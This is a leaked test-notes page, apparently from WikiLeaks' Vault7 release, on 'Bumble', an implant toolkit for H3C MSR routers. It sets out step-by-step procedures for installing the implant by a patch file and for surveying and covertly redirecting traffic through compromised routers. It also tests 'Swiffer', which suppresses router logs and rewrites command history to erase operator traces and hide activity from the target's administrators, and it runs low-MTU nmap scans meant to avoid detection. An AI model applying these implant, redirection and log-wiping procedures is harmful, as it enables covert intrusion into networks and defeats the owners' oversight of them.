Vault7: CIA Hacking Tools Revealed

Bumble 3.0.0/3.1Beta Test Notes

Test Summary

Downloaded and installed Ubuntu Server 10.04. This is the library version that was delievered with Bumble.
CT 2.4 which was delieved is not compatible with current ICON image (Debian 7.8)
MTU settings
- CT MTUMaximum Transmission Unit setting can not go below 120 bytes.
- Egress from Atk setting delaysim MTU<=108 and CTCounter Terrorism MTU<128 allows CTCounter Terrorism to connect, but states "currenct packet size restrictions are incompatible with selected Score protocol".
- Ingress to Atk MTU<=508Bytes.
Score requires a minimum MTUMaximum Transmission Unit of 480Bytes for return traffic (from implant to CTCounter Terrorism).
Flux will not be used with this tool so it will not be tested with flux.

Progress/Notes

Sample survey commands:
- tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 icmp -en
- tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 tcp -en
Sample redirection rule:
- redir create 10.1.243.2 255.255.255.255 0 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 255.255.255.255 0 0 tcp 10.1.243.2 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 0 0 -en
Sample traffic shaping:
- sudo tc qdisc add dev eth0 root netem delay 2.5s 0.5s loss 25% 25% duplicate 2% corrupt 3% reorder 25% 50%
- sudo ip link set eth0 mtu 128

ID	Status	Task
2	complete	Potential bug: Add survey and redir rule. redir create 10.1.243.2 255.255.255.255 0 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 255.255.255.255 0 0 tcp 10.1.243.2 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 0 0 -en tp survey create XXX.X.XXX.X (JUMPSTART-5[US]) 255.255.255.0 0 0.0.0.0 0.0.0.0 0 tcp -en Test redir. Run Ixia test. Test redir. If redir fails, then re-try this sequence, but this time without adding the survey rules. I wonder if the survey transaction log is filling causing the redir rule to stop working. The translog stopped at index 4000 (is this coincidence or is this the size of the buffer?). A: This is how the score module is intended to work.

ID	Status	Task
16	complete	Potential Bug: When running my expect script, copying the patch.bin file timed out. Afterwards I attempted to reboot the H3C and it gave the belowmessage. This occurred when I used the command "copy ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/patch.bin patch.bin" to copy the patch file. This is not the recommended way to copy the file. No bug to report at this time.

ID	Status	Task
17	complete	Potential Bug: It appears that if the patch.bin file exists on cfa0: and you attempt to copy it again, it "copies" indefinitely. Issuing the command "dir cfa0:" shows that the patch.bin file size is 0. This may occurr when the patch file was incompletely applied. This may have just occurred when I used the command "copy ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/patch.bin patch.bin" to copy the patch file. This is not the recommended way to copy the file. No bug to report at this time.

Tests

Smoke Tests
1. Install PBD and Establish Comms
  1. Refer to Bumble command script on share.
2. Survey - ct_pt1-survey.exp
  1. Reboot DUT, install implant, establish comms via CT.
  2. Confirm implant is installed and activate score
  3. tp cmd "pbd probe"
  4. module show
  5. redir show
  6. module start score
  7. module show (confirm score is activated)
  8. redir show (there should be no rules)
  9. Add survey rule: tp survey create XXX.X.XXX.X (JUMPSTART-5[US]) 255.255.255.0 0 0.0.0.0 0.0.0.0 0 tcp -en
  10. redir show
  11. <sleep for 20 seconds to allow time to survey>
  12. Retrieve trans table: tp showtrans
  13. quit
  14. Successfully tested with the following Bumble versions:
    1. Bumble 3.0.0
    2. Bumble 3.1 Beta (9/15/2015 w/o latency)
3. Redirection - ct_pt2-redir.exp
  1. Reboot DUT, install implant, establish comms via CT.
  2. Confirm implant is installed and activate score (see Test 2 for commands to run)
  3. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0
  4. Source IP/Mask: 192.168.254.6/32 - Atk VM
  5. Source Port Range: 0 0 (any)
  6. Destination IP/Mask: XXX.XXX.X.XX (GB)/32 - WWW3
  7. Destination Port Range: 0 0 (any)
  8. Protocol: TCP
  9. New Source IP:Port: 192.168.254.6:0 - Atk VM
  10. New Destination IP:Port: XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]):0 - WWW4
  11. TTL: 0 (don't change)
  12. Successfully tested with the following Bumble versions:
    1. Bumble 3.0.0
    2. Bumble 3.1 Beta (9/16/15 w/o latency)
4. Transaction Table rollover
  1. Reboot DUT, install implant, establish comms via CT.
  2. Start score: module start score
  3. Configure transtable aging time to 1 second: tp filter -t 1
  4. From Atk: wget --output-document=- http://XXX.XXX.X.XX (GB)
    1. Response should be from Bumble webserver #3 - XXX.XXX.X.XX (GB)
  5. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
  6. Test redir rule: wget --output-document=- http://XXX.XXX.X.XX (GB)
    1. Response should be from Bumble webserver #4 - XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])
  7. Fill up transtable by running the "enterprise" profile on the Ixia. Also add a survey rule: tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 tcp -en
  8. Check if redir still functions correctly: wget --output-document=- http://XXX.XXX.X.XX (GB)
  9. Response should be from Bumble webserver #4 - XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])
  10. To futher confirm, check transtable using the command "tp showtrans" and take a snapshow of the first 10 entries.
  11. Wait 10 seconds and check the transtable again. Compare the first 10 entries with the snapshot you took. The entries should be unique. With the ixia running, enough entries should be created in a few seconds to cause the transtable to cycle.
  12. Successfully tested with the following Bumble versions:
    1. Bumble 3.1 Beta (9/23/15 w/o latency)
5. Swiffer - Log Suppression
  1. Reboot DUT, install implant, establish comms via CT.
    1. Insure swiffer is inactive: tp swiffer show
  2. Telnet to MSR and issue these commands:
    1. display this
    2. display users
    3. display tcp
    4. display logbuffer
    5. display history-command all
    6. These commands should appear in the logbuffer and history command
  3. Activate swiffer at the CTCounter Terrorism prompt
    1. tp swiffer activate
    2. tp swiffer show
  4. At the MSR console and telnet prompt:
    1. Confirm info-center is disabled: display info-center
    2. display clock
    3. display ftp client source
    4. display interface brief
    5. display ip routing-table
  5. At the MSR console, issue thes commands
    1. Confirm recent commands were not logged to log buffer: display logbuffer
    2. Confirm recent commands are logged to history: display history-command all
      1. Disabling the info-center will not disable the command history logging. This is the reason for a snapshot of the history command file to be saved. The saved history file will overwrite this history when Swiffer is deactivated.
      2. This will also disable logging if a target admin issues commands. There is no way to distinguish who is issuing the command.
  6. Deactivate Swiffer using CT. Deactivating Swiffer restores the snapshot to the command history
    1. tp swiffer deactivate
    2. Wait 5 seconds and confirm swiffer is deactivated: tp swiffer show
  7. At the MSR console and telnet prompt, confirm logs were removed
    1. display logbuffer
    2. display history-command all
    1. Successfully tested with the following Bumble versions:
      1. Bumble 3.1 Beta (9/25/15 w/o latency)
6. Redir - Disable all rules then re-enable all rules
  1. Disable all redir rules: redir disable 0
  2. Confirm rules disabled: redir show
  3. Enable all redir rules: redir enable 0
  4. Check that redir rules are working
  5. Successfully tested with the following Bumble versions:
    1. Bumble 3.1 Beta (w/o latency)
Redirection Test - ACLAccess Control List circumvention
1. Not plausible with current implant hook point
Redirection Test (Lack of route on downstream router)
1. Single Rule - ct_pt3-redir.exp (script starts at step iv)
  1. Add default route to ASR: ip route 0.0.0.0 0.0.0.0 XXX.XXX.XX.X (EU-MAP-5[US]) name To_MSR
  2. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]). It should be successful.
  3. Remove default route from ASR: no ip route 0.0.0.0 0.0.0.0 XXX.XXX.XX.X (EU-MAP-5[US]) name To_MSR
  4. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]). It should fail.
  5. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
  6. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]). It should be successful.
  7. Successfully tested with the following Bumble versions:
    1. Bumble 3.1 Beta (9/16/2015 w/o latency)
2. Multiple Rules
  1. Repeat steps from previous test. Use the following rules:
    1. Loopback on ASR1002: redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
    2. WWW4 behind ASR: redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
  2. Successfully tested with the following Bumble versions:
    1. 1. Bumble 3.1 Beta (9/17/2015 w/o latency)
Redirection Test - Only specified protocol gets redirected
1. Add redirection rule to allow TCPTransport Control Protocol from Atk VMVirtual Machine to WWW4 behind ASR: redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 tcp XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
2. Retrieve webpage from Atk VM: wget --output-document=- http://XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) This should successfully retreive the webpage.
3. From Atk VM, ping XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]). You should not get a ping response.
4. Successfully tested with the following Bumble versions:
  1. Bumble 3.1 Beta (9/17/2015 w/o latency)
Redirection Test - Lack of routes on MSR
1. What would be a good scenario?
Redirection Test - NMAPNetwork security scanner SYNFlag in TCP/IP Protocol Scan (all ports)
1. Start IXIA traffic (??)
2. Should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM
3. Set the transtable to timeout after 1 second so that redir rules don't get disabled: tp filter -t 1
4. Add the following redir rules:
  1. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
  2. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
  3. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
5. You should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM: sudo nmap -sP XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) --mtu 96 -stats-every 5m --min-rtt-timeout 7s
6. Run the following nmap commands:
  1. Check for open services/ports: sudo nmap -sV XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) --mtu 96 --stats-every 10m --min-rtt-timeout 7s
7. BUM-6
  1. Note: With latency, the ASRAzure Site Recovery (XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US])) is "down" according to nmap (-sP option). With latency removed, it appears "up".
Redirection Test - NMAPNetwork security scanner SYNFlag in TCP/IP Protocol Scan (< 15 ports) - ct_pt4-nmap.exp
1. Start IXIA traffic (??)
2. Should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM
3. Set the transtable to timeout after 1 second so that redir rules don't get disabled: tp filter -t 1
4. Add the following redir rules:
  1. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
  2. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
  3. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
5. You should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM: sudo nmap -sP XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) --mtu 96 --stats-every 5m --min-rtt-timeout 7s
6. Run the following nmap commands:
  1. Check for open services/ports: sudo nmap -sS XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) -p 21,22,23,25,53,80,110,443,3389 --mtu 96 --stats-every 10m --min-rtt-timeout 7s
7. Successfully tested with the following Bumble versions:
  1. Bumble 3.1 Beta (10/1/2015 w/ and w/o latency)
Swiffer (while redir rules enabled)
1. Repeat redir test and leave it running.
2. Activate swiffer
3. Connect to target via telnet and execute "dis run", "dis clock", and "dis ip rout"
4. Disconnect from telnet session.
5. Deactivate swiffer
6. Inspect logfile and logbuffer for any traces of telnet connection
Swiffer - Telnet failed during session
1. Confirm all logs get deleted if there are two telnet open sessions but one session close. It is assumed that swiffer will start and stop logging when the command is issued, but need to confirm.
Swiffer - Info-Center gets enabled while Swiffer is active
1. tp swiffer activate
2. dis clock
3. dis ip rout
4. sys
5. info-center enable
6. dis users
7. tp swiffer deactivate
8. dis logbuffer
Swiffer - Uninstall
1. Look for remnants ("comsn" and "telnetd")
Redirection Test - MiTM
1. Not applicable to JQJARGON. Functionality not tested.
Survey and Redirection used simultaneously
1. This is NOT recommended, so it will not be tested.
Forensics Test - Inspect Netflow on SolarWinds
Ad hoc test - ICON disconnected during PBD (patch) installation
1. telnet 192.168.168.5 (admin/admin)
2. ftp XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US]) (administrator/password)
3. ftp patch file to MSR.
  1. bin
  2. get patch.bin
  3. quit
4. dir cfa0: !Confirm patch.bin was copied
5. install activate patch cfa0:/patch.bin slot 0
  1. Before the patch completes, reboot the ICON VM.
6. BUM-3
Ad how test - Multiple reconnects to implant via CT
1. This is related to BUM-5. One time after disconnecting from a CTCounter Terrorism session, and then trying to reconnect an error occured. continuously_reconnect_CT.exp was created to continuously connect to CT, wait 10 sec, disconnect, wait 10 sec, then repeat indefinitely.
2. To setup the test, perform these steps:
  1. Start simulating delay on DelaySim VM: sudo ./set_delay.sh
  2. Open Atk Window 1, Ensure all tcpdump captures are closed. And then create a new capture: sudo tcpdump -i eth0 -s 0 -w continuously_reconnect_CT.pcap
  3. Open Atk Window 2, and run the expect script which will continuously loop connecting then disconnecting: sudo ./continuously_reconnect_CT.exp
  4. If you receive an error, the expect script should stop. You will need to manually stop the pcap in Window 1 by pressing Ctrl-C.
Reconfigured interface
1. With implant installed, configure another gigabit interface.
2. No observables
3. Successfully tested with the following Bumble versions:
  1. Bumble 3.0.0
Install PBD when PBD is already installed
1. Successfully tested with the following Bumble versions:
  1. Bumble 3.1 Beta (10/7/2015 w/ latency)
Re-attack after PBD already installed
1. Reboot DUT, install implant, establish comms via CT, and run all tests: date && sudo time ./reboot_target.exp && sudo ./install_and_run.sh
2. Disconnect from CTCounter Terrorism session.
3. Re-install implant and re-run all tests: sudo ./install_and_run.sh
4. Inspect 2nd round of test results to ensure tests were passed. Only one instance of PBD is present.
5. Successfully tested with the following Bumble versions:
  1. Bumble 3.1 Beta (10/13/2015 w/ latency)
Forensics Tests
1. Inspect pcap
  1. UDP packets appear normal
  2. Most TCPTransport Control Protocol appears normal.
    1. Telnet connections cause a lot of red to appear, likely due to the unreliability of the connection (delay sim is running). Telnet connections also receive a RSTReal-time Transport Protocol from the MSR periodically. It seems the MSR (server) issues the RSTReal-time Transport Protocol packet to close the telnet session.
Performance testing (IXIA)

Add IXIA ports directly to MSR. Need to determine IPs to use (look at config).
Configure IXIA "hosts" to test connectivity to WWW1 and WWW2 (XXX.X.XXX.XXX (JUMPSTART-5[US]) & .112).
Backup MSR config
Copy off MSR f/w
Upload MSR f/w

Operator Notes

Do not use survey and redirection at the same time.
Disabling logging (using swiffer) will also disable logging for a target admin.
Commands execute while swiffer is enabled will not be removed from the history until swiffer is deactivated. Info-Center will also be disabled as long as swiffer is active.
Add TP note about using Nmap with Score.
How do we clear a kernel exception log should one occur?
Once swiffer is stopped, it can not be restarted unless you re-install PBD.

ToDo:

ID	Status	Task
14	complete	User #14587667 Delete default route on all routers (except MSR) after testbed complete (Not sure I should do this). May just test redirection traversing an ACL. Neighboring routers probably have routes back to the H3C, however secondary neighbors may not have routes back. May be useful to re-configure testbed to have secondary routers that don't have routes back to H3C. Deleted on all routers except 3845, 2811, and 2911
15	complete	User #14587667 Get 2800 router from NDBNetwork Devices Branch Lab (R6/U27)
6	complete	User #14587667 Put 1E1 HWIC in 2800 router
7	complete	User #14587667 Setup SNMPSimple Network Management Protocol on solarwinds and configure MSR.
8	complete	User #14587667 Setup loopbacks on MSR neighbor routes. Use downstream IPs from MSR static routes.
5	complete	User #14587667 Configure syslog server
3	complete	User #14587667 Configure OSPFOpen Shortest Path First on MSR
10	complete	User #14587667 Configure OSPFOpen Shortest Path First on Cisco (Grabe new router and use Gig int for OSPFOpen Shortest Path First - per target config). Use IP 192.168.168.5/30 on MSR and 192.168.168.6 on Cisco.
0	complete	User #14587667 Configure E1 links
11	complete	User #14587667 Configure netstream on MSR interface to TRCore (in-/out-bound).
12	complete	User #14587667 Configure netstream on MSR interface to 2911 (inbound).
13	complete	User #14587667 Confirm netflow is being collect by SolarWinds
1	incomplete

Contact

Tor

Tails

Tips

1. Contact us if you have specific problems

2. What computer to use

3. Do not talk about your submission to others

After

1. Do not talk about your submission to others

2. Act normal

3. Remove traces of your submission

4. If you face legal action

Submit documents to WikiLeaks

Vault7: CIA Hacking Tools Revealed

Bumble 3.0.0/3.1Beta Test Notes

Test Summary

Progress/Notes

Tests

Operator Notes

e-Highlighter